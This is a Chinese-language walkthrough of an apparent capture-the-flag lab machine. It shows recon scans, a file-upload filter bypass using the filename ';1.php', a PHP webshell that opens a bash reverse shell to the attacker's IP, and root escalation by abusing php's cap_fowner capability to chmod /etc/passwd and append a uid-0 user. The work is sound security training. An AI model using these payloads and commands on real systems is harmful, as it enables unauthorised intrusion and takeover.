目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.101.127)
靶 机:Linux(192.168.101.204)
物理机:win11(192.168.101.241)
注意事项:
①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
②靶机启动失败:设置中取消勾选usb即可
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录扫描)、nc(监听shell)、openssl(生成密码)
物理机:Burp suite(抓包分析)
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
二、测试目的
分析文件上传的源代码并绕过限制上传webshell,使用php Capabilities提权获得root权限。
三、操作过程
1、信息搜集
主机探测
bash
arp-scan -l
靶机IP:192.168.101.204
物理机IP:192.168.101.241
端口和服务探测
bash
nmap -sT -A -p- -T4 192.168.101.204
可以看到靶机开启了22端口(ssh服务)、80端口(web服务)
目录扫描
bash
dirsearch -u http://192.168.101.204 -i 200,301 --exclude-sizes=0B
只扫到一个页面,upload
2、Getshell
访问web主页是一个上传文件的页面,upload.php是上传的文件显示的页面
查看主页面的源代码发现,提示.bck文件删除,那就是没删喽
访问upload.bck成功下载文件
该文件是upload.php的备份源代码,那么现在可以做白盒测试了
可以看到,设置了黑名单符号,有黑名单符号会直接退出代码,这样上传的文件就不会移走了
此外,源代码设置的白名单jpg和txt,只检查了jpg文件,其他文件都算作txt文件上传了,并执行cat命令查看
尝试在cat命令后面进行拼接代码执行,但由于黑名单限制过多,是失败的
利用代码检测到黑名单符号就退出代码的特性,而文件不会删除,会保留
利用这一特性写入反弹shell文件;1.php
数据包如下
POST /upload.php HTTP/1.1
Host: 192.168.101.204
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42491598439165519721451805444
Content-Length: 300
Origin: http://192.168.101.204
Connection: keep-alive
Referer: http://192.168.101.204/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------42491598439165519721451805444
Content-Disposition: form-data; name="myFile"; filename=";1.php"
Content-Type: image/jpeg
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.127/6666 0>&1'"); ?>
-----------------------------42491598439165519721451805444---
可以访问该文件,此时kali开启监听即可监听到反弹shell
成功获取反弹shell
3、提权
当前目录有一个id_rsa.bck文件,但没什么用
尝试寻找可利用文件
bash
find / -perm -4000 -ls 2>/dev/null
find / -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null
getcap命令可以查找文件的能力信息。
Linux 中的"能力"是一种对进程授权的机制,它允许程序在不拥有完整 root 权限的情况下执行某些特权操作。
某些程序可能被赋予了cap_fowner(修改文件所有权)或cap_net_raw(允许直接访问网络协议栈)等能力,这样它们就可以执行本来只有 root 用户才能执行的操作
可以看到php7.4可以修改文件所有权,可以利用
那么就用php来修改文件的权限,先修改user.txt的权限并查看
bash
ls -la /home
ls -la /home/kerszi
php -r 'chmod("/home/kerszi/user.txt",0777);'
查看user.txt文件内容,得到第一个flag:
nowtheeasypart
bash
cat /home/kerszi/user.txt
同理可以修改/root目录的权限,r00t.txt文件的权限,查看root用户的flag:
andagainandagainandagain
bash
php -r 'chmod("/root",0777);'
ls -la /root
php -r 'chmod("/root/r00t.txt",0777);'
cat /root/r00t.txt
提权root用户也很简单,修改/etc/passwd文件的权限并给写入一个uid为0的用户即可
bash
php -r 'chmod("/etc/passwd",0777);'
先修改权限
bash
openssl passwd -1 root
再生成密码的加密字符串
构造新用户zz,uid为0,写入/etc/passwd
bash
echo 'zz:$1$8YXciopU$8Z/z.3wtGbL7YHfCAy.e11:0:0:root:/root:/bin/bash' >> /etc/passwd
su zz
成功写入用户,并提权root
bash
SHELL=/bin/bash script -q 2>/dev/null
四、结论
利用文件上传逻辑的漏洞getshell,利用Capabilities提权获取root权限。Linux中可以设置能力setcap,可以让某个文件以更高权限执行。